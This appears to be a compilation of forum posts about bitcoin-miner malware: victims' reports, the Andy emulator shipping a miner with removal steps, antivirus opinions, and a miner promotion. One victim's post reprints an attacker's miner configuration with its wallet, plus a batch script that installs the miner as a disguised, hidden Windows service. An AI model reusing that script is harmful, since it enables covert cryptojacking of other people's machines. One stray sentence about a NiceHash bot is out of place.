Bitcoin Miner Virus - How to Detect and Remove It (Update ...

The Proper Way to Warn Us About Bad Clients

If you believe a client is compromised, either by a Bitcoin miner, or that it’s a rat, or a backdoor, or a Trojan, etc. you should submit real evidence of such claims.
You should upload the client executable or suspicious libraries to VirusTotal and give us the link, you should also submit actual evidence.
I keep seeing “sigma is a rat” — I don’t use sigma, I use Impact, but it doesn’t make a whole lot of sense. The ONLY “evidence” that anyone has brought to the table is “my CPU usage was high when it was open”. That’s literally it.
If you’re going to claim something is bad, you should do it right and in such a way that there isn’t merely suspicion, but there is damning evidence. This way maybe the mods or I can make a master list of clients that can and cannot be trusted.
I will start on this master list and call it the Checker Thread so it is easy to search for. I request the mods pin this list for easy access. This master list will contain hacked clients submitted by the community, their supported versions, VirusTotals, etc. to improve the search for clients and to guarantee user safety.
“But what if my executable is different?”
Each client in the list will have a hash, you will be able to check that hash against your client to verify it is the same executable, and therefore safe.

Overly paranoid about malware, viruses and other nasty stuff

So, well... Will put it straight. I once downloaded like a cheat program for a game, mod menu, I did everything I can to check it for threats, scanned with virustotal, with avast, manually dived into my PC's processes with Process Monitor, and found nothing suspicious even after doing it all again after running the program itself, that, btw, didnt even work so I deleted it. But I'm still scared. Bitcoin miners. Remote acces trojans. Spyware. Unwanted programs. Malware and viruses. That's all I'm scared of. I even taped my webcam after downloading and deleting the program. I dived into scanning my computer again, searching for suspicious things in processes... But nothing. I'm still scared. Of some invisible malware or spyware, undetectable by anything, some ransom secretly encrypting my files while the computer is on and waiting for the right moment to pop up. Can somebody please calm me down? I really dont know what to do.

MoneroOcean pool owner supports botnets

Hi guys,
As of late my vps that was running Microsoft's RDP got hacked. The attacker ran a malware miner named system.exe that was using 99% CPU. I'm gonna post a screenshot of all of it right here so he gets publicly exposed for his deeds.
https://imgur.com/a/yArkTR8
By further investigation I found that this miner uses config.json as it's configuration file and I'm posting the contents also publicly here:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "gulf.moneroocean.stream:80", "user": "44CZd8EvSktM2FzqMVbMBc9pWDcL45yYTWY3VzdymUbjDG6F1734vQh4dj9hjn7tj3eFohS8NGSDSNNVzBxLt7Eb8Vw8vrq", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "user-agent": null, "watch": true }
cmd.bat contents are the following:
attrib -a -s -r -h C:\WINDOWS\Debug\nat* net stop Networks taskkill /f /im system.exe C:\WINDOWS\Debug\nat\svchost.exe install "Networks20181019" C:\WINDOWS\Debug\nat\system.exe sc config "Networks20181019" DisplayName= "Networksr20181019" sc description "Networks20181019" "Microsoft Windows Networks" Set ProcessName=system.exe sc start "Networks20181019" attrib +a +s +r +h C:\WINDOWS\Debug\nat* echo u/off del %USERPROFILE%\Desktop\0.exe
I've scanned everything on VirusTotal and upon visiting the pool I've noticed that the miner has a hefty 50 KH/s. I've also contacted the pool owner via Discord and can post the whole discussion if anyone is willing to see it. He doesn't want to ban the miner, shortly.
I'm not so familiar with Monero but I had Bitcoins and I fully support the mining community. I understand that people with botnets increase difficulty for normal people to make a profit. I've also reported this guy to his ISP by examining the IP found in Event Viewer, since he didn't use a VPN (the IP isn't detected as proxy). I won't post the IP's publicly.
What more can I do? The pool owner also threatened me to report another XMR wallet address to SupportXMR pool because he thought I was a competitive attacker. I can also give that address aswell.
Thank you for reading and stay safe :)

In-depth discussion on security as it relates to cracked games

I just asked this question in other words on 4chan.org/v and unsurprisingly got mostly dismissive or unintelligent responses, so hoping for some well-informed and explained discussion if I'm so lucky.
I'm in my 2nd year studying cybersec and as a habitual pirate have been trying to be super security conscious nowadays.
Anyways; my question is -- what measures are sufficient to secure my system against a cracked game I don't trust 100%. I see a lot of posts here saying CODEX and SKIDROW are trustworthy, and usually false positives (at least I read that for CODEX), but lets assume we still don't trust it. Do you guys "just dont give it admin privileges" as one anon on 4chan said, would you use Comodo Firewall to sandbox it (my current best idea, just don't usually use that feature as much as I should), or is there a better way?
I ask because even though for instance I'll get 68/70 passing scores on virustotal, those 2 flags always stay in the back of my mind and bother me, and I don't want some personal info scraper, bitcoin miner, or other malware silently inhibiting my system.
Thanks for any contribution.

WARNING: Andy Android emulator (AndyOS, Andyroid) drops a bitcoin miner on your system

lawrenceabrams has done a lot more digging and research and has published an article which you can read here.
Update: Their Facebook support group has been changed to a closed group meaning you can't view their posts if you're not already a member. Luckily I have a fair few sleeper accounts in that group and I'll report back with anything worth noting.
Clarification: In the video I fail to close Andy when checking my GPU stats but I can confirm that they are roughly the same as when Andy is open. The mining process runs even with Andy closed and it opens on startup. I use the term bitcoin in this thread and the video as it's almost become a generic trademark. People instantly know what bitcoin is. I used cryptocurrency when talking to people in the Andy support group and they got confused and thought I was talking out my arse.
MAJOR UPDATE: I asked the Andy staff why they're still serving the infected file. After seeing that comment, and probably after seeing this reddit thread they've removed me from the group.
A friend opened Andy in process explorer to see the files it drops upon installation. By the looks of things, the installer isn't at fault. Andy itself calls an IP which then transfers the bitcoin miner to your system.
Andy clearly have no interest in fixing this issue and they're doing their best to censor it. At this point I wouldn't be surprised if this is completely down to their doing. The fact that they've completely blocked me from contacting them and the removal of all of my posts to them suggests that they don't care and don't want anyone to know.
Please keep in mind that this may not directly be Andy's fault. I'm not trying to directly accuse Andy of being at fault here but until an official statement is made from the Andy team I'm going to tell it how it is, and how the majority of people will see this situation. The installer Andy uses drops a cryptocurrency miner on your system and it has been reported in the past but no effort has been taken to cut ties with the company that created the installer. This is still Andy's responsibility. Funnily enough, the owners of Andy and the admins in the Andy support Facebook group actually recommend turning off your antivirus whilst installing.
All evidence provided on this post is true with version 'Andy_Nougat_260_1096_26' (latest release available from the official Andy website).

Backstory

I was searching for an Android Emulator and came across an Android Authority list of the 15 best Android emulators for PC (now 14 after I contacted the writer of the article with evidence). I saw Andy was on this list and it was described as a big competitor to the likes of Bluestacks. I'd used Bluestacks previously but I was looking for a different emulator just to try something new. I downloaded Andy, installed it (I declined the offer relating to Yahoo), and began using it. I finished up what I was doing, closed Andy and opened some games. I noticed that in every single game I played I suffered major FPS drops at seemingly random times. I checked my GPU usage and temps and noticed they were working at roughly 80% load and 80+ degrees C whilst gaming. Very unusual for my setup. I opened task manager and sorted it via what was using the most GPU power and found a process named 'updater.exe'. After further inspection I noticed that this installed along with Andy.

Evidence

I created a video showcasing the entire installation process, including GPU usage before and after Andy was installed. This was sent directly to the creators of Andy (which is who I'm referencing in the video), as they refused to believe that the bitcoin miner was anything to do with installing their software. Apparently giving them virustotal scans and screenshots are not enough evidence and some users in the Andy support Facebook group blindly tried accusing me and my friends of using a tampered installer. The video shows that I downloaded every single executable possible from their official website and I was served the same installer each time.

How to remove Andy

Removing Andy and the bitcoin miner is actually really easy. The miner doesn't even attempt to hide itself and doesn't have a specific payload so it's just always running.
  1. Close every Andy-related process via task manager.
  2. Uninstall Andy via Windows
  3. Look for a process named 'Updater' (This is the miner and surprisingly enough won't be uninstalled when you uninstall Andy! Would you believe it!)
  4. Right click that process and click 'Go to details'
  5. Right click 'Updater.exe' in details and click 'End process tree'
  6. Navigate to C:\Program Files (x86)
  7. Click once on the folder named 'Updater' and then press Shift+Delete
  8. Click once on the folder named 'AndyOS' and then press Shift+Delete
  9. Recheck task manager to confirm no more Andy services are running
  10. Download Malwarebytes and perform a full system scan to check if anything was missed
  11. Download CCleaner and do a registry fix. Multiple Andy registry entries will be found. Delete these and scan again to ensure that nothing was missed

Why didn't my antivirus detect it?

The likelihood is that your antivirus probably thought you wanted it. If every antivirus detects bitcoin miners as a threat then it's only going to get in the way of people who genuinely want to mine bitcoins on their system for personal use.

What now?

The Andy development team claim they are 'looking into this', but it has been reported to them in the past and nothing has changed at all. It has been removed off of the list of best Android emulators by Android Authority after I contacted the writer of the article with this evidence. He also installed Andy and confirmed that something fishy is going on. Even after being provided with evidence, the infected installer is still served today from their website.

Andy devs giving conflicting stories

Someone working for Andy by the name of Ghazi has been urging people to stop spreading the claims that Andy installs a bitcoin miner by saying that Andy doesn't mine for bitcoins and that we've been using an older version, which uses a similar method as Andy requires something to do with blockchain technology. This makes no sense. I don't understand why a modified ROM and basic application that hooks into a virtual machine would require anything to do with blockchain technology. Another reason this makes no sense is that the OWNERS of Andy said that it shouldn't be there, and that it's not their fault because they use a third party installer provided by another company. Two very conflicting stories.

TL;DR

In summary, when you install Andy from their official website, you 100% receive a bitcoin miner.
I will update this post with any further advancements.
Edit: The thing Ghazi was talking about is a deprecated ‘Andy Cloud Experiment’ which is no longer in use. They are still looking into the current issue but are still serving the infected file.
Edit: After being banned from their support group I got in on another account. I made a post and when I told them who I was they instantly banned me again. Fantastic! Great guys! Professionals!
Edit: Joined on a third account and was banned again! What a surprise!

Do you agree with Fitgirls' position on antiviri?

Modern AVs are paranoid. They usually see danger in safe files and skip real malware. This is more actual for compressed/protected software and cracks, especially from Chinese groups, such as 3DM.
This may sound scary, but in the real world THERE IS NO ANTIVIRUS, which will protect you from modern trojans, bitcoin miners and similar stuff. In most cases harmful apps won’t be blocked, but absolutely safe programs – will be, as false positives. And since AVs usually work silently, without even notifying you about blocked stuff – you will wonder, why the installer don’t work or why the game don’t want to launch.
One of the biggest downfalls of AVs is they resident mode, when ALL open files, even not executables, arc checked on the fly. This mode can slow down a fast installer for HOURS, because every unpacked file will be checked with AVs engine. Complex repacks do lots of HDD read/writes, and it alone is not fast, but coupled with AV will ruin your experience.
The best antivirus is your brain. Don’t download suspicious software, don’t open attachments in your email, keep your browser up-to-date, disable Flash and Java. This will protect you from 99% of potential malware. You can use antivirus in scan mode on daily basis, with VERBOSE mode, when you will see, what AV counts a real danger.
One more thing – NEVER EVER trust only one antivirus. False positives appear more frequent, than any real virus. Upload any suspicous file to virustotal.com and only then take actions.
If you still need AV for scanning, I’d settle for Kaspersky, Dr.Web or ESET tools, working in VERBOSE mode, and not killing stuff automatically.

[Free] [Guide] Kryptex BTC Miner! Best miner for beginners!

Kryptex is a perfect, lightweight bitcoin miner that I have used on and off over the past year now. I have only used it about a month in time total, accumulating over $30, and you can expect at least $30-$70 per month with a decent enough rig (https://i.imgur.com/LruixfG.png first and only withdraw of btc and my current balancehttps://i.imgur.com/qV8RWoX.png), last I had was $9 and I only remember running it for a couple days before turning it off and forgetting about it). I personally believe this is the best mining software for beginners or even novices, with such an easy setup that only takes minutes. Not to mention they have both a lite mode and and full mode depending on how hard you want your computer to run, or if you want to run the app in the background with games or videos. I have found it doesn't affect my system much if at all, and my specs are 16gb RAM, Ryzen 5 1600 and a 1060 6GB.
You're first brought into a benchmark after logging into your account (there is a warning about antiviruses producing false positives. https://i.imgur.com/6DEqB4l.png) but down below you can find an antivirus link with the full scan of the .exe. During the benchmark the program doesn't use much computer power, only about 10% cpu, <1000mb of ram and <5% GPU. Once the benchmark is you are free to check the app and see what it has to offer!
In the settings you're first greeted with an option for Starting with Windows and an option to enable or disable the use of the CPU. After that you are given a drop down that lets you choose the mode Kyrptex will run when on in the background, I recommend Lite Mode as it will be the best for your pc during use and you can leave the heavier loads for when your pc is sleeping or inactive. With only litemode you could expect anywhere from $5-$15 depending on your rig and load, I usually sit at about $7-$13 per month. You also have an advanced settings option giving you the option to disable/enable your cpus or gpus and which algorithms you'd like to use. From Dagger Hashimoto #1 & #2, CryptoNight, Cuckoo Cycle, X16R and their recently added Equihash 150, 5.
As a beginner miner, and someone who has tried only a few programs, my word of course isnt the best, but out of the select miners I've tried, I truly believe this is the best miner program, especially for beginners who are trying to test the waters out.

If BOT detects profitability is greater then order price on Nicehash, then BOT will set unlimited speed for that order. And if BOT detects profitability on pool is lower then pride of order on Nicehash, it will change speed limit to 0.01.

Mystery file process running my CPU high

SOLUTION: I opted to just do a clean installation of Windows to avoid any chance of the malicious process remaining in effect.
A file was either added or modified on my PC yesterday as of this writing, asp.exe (in details also labelled aspy.exe) in a Microsoft .NET library folder. (C:\Windows\Microsoft.NET\Framework64\v4.0.30319)
It has been running my CPU at half load anytime it appears and it only seems to appear when connected online. It labels itself as Windows Antispyware Service in Task Manager, but Googling the name leads me nowhere near answers. There was also a log file I unfortunately hastily deleted alongside the .exe in a panic, as a Malwarebytes scan run recently revealed a Trojan dropper and a bitcoin miner in my Windows directory, labelling themselves as Windows and Defender Update services respectively.
Before I deleted the files, I scanned them with VirusTotal to the tune of mostly negative results with two notable positives listing it as "high confidence" in it being malicious and another calling it a "variant of Win64/BitcoinMiner.CS" [https://www.virustotal.com/en/file/56bd1b22829c539b0d325c06d24ef53626033ee5269666f23db08257a02e13ba/analysis/1510569500/]
Any suggestions on what this is? I already quarantined the existing threats and deleted this suspicious file so I think I'm alright for now, I just need to know if I deleted something important in a panic or if I stumbled upon a newer kind of malware.
UPDATE: the log file returned, so probably not related to the process itself, labelled as "ngen.log"
UPDATE 2: asp.exe returned to the same directory. Doing a clean install anyway, but any advice about this file and how it's appearing would be helpful.

Can't figure out the problem: Computer starts to slowdown about 15 mins after startup, progressively becomes slower to unusability until next restart.

Hey guys, I'm experiencing an issue I can't seem to figure out for the life of me, and I was hoping you guys would have some idea of what's going on with my desktop computer. I'd really appreciate any assistance you guys could provide.
I'm running a GTX660 Ti graphics card, i5 4440 CPU, 8GB of RAM, and a Gigabyte Z87X-D3H motherboard.
Alright, so every time I boot up my computer, my computer will start slowing down around fifteen minutes later. The slowdown starts off as the computer being generally sluggish when opening or closing windows, loading any programs, and I get unplayable <20 FPS in games like Titanfall (I usually get a smooth, maintained 60 FPS.)
This will continue to progressively slow down the longer my computer is on, to the point where I am unable to load any programs, and my start menu comes up as a blank panel. This will reset once I've restarted the computer, upon which the slowdown will repeat again.
This issue started on Friday night, and the only software changes I can remember making is that I torrented an .iso of Okami to emulate (I have an original disc, but my PS2 is busted).
Now, I'm no tech expert, but I do have google, and I've tried several things to troubleshoot the problem, and I will include:
I'm not experienced in tech by any means, so I may have performed one of these tasks wrong, so I listed them out here just in case.
At this point I'm lost as to what is causing these slowdowns. I'd like to thank you in advance if you took time outta your day to read this post and I'd really, really appreciate it if you guys could help me out.
EDIT: Turns out it was a bitcoin miner, and the three antivirus I ran were unable to detect it. Thanks, everyone.

Bitcoin miner installed in qBittorrent AppData folder? HELP?

A little bit ago, Malwarebytes popped up letting me know it blocked a connection. This was the logged message:
Malicious Website Protection, IP, 217.12.223.76, virtual57884.net, 59904, Outbound, C:\Users\Shawn\AppData\Local\qBittorrent\Realtek HD\rthdcpl.exe
Obviously, there shouldn't be a Realtek HD folder inside of the qBittorrent AppData folder. So I did a VirusTotal scan and this is what I got:
https://www.virustotal.com/en/file/9843735dd57e2b7d828061c9ddbf70e38f4f56efd0aa51bc33057a3bee17248c/analysis/1466146242/
So it looks like there's a Bitcoin Miner virus. I'm not sure why it was in the qBittorrent AppData folder..
Any help would be appreciated.
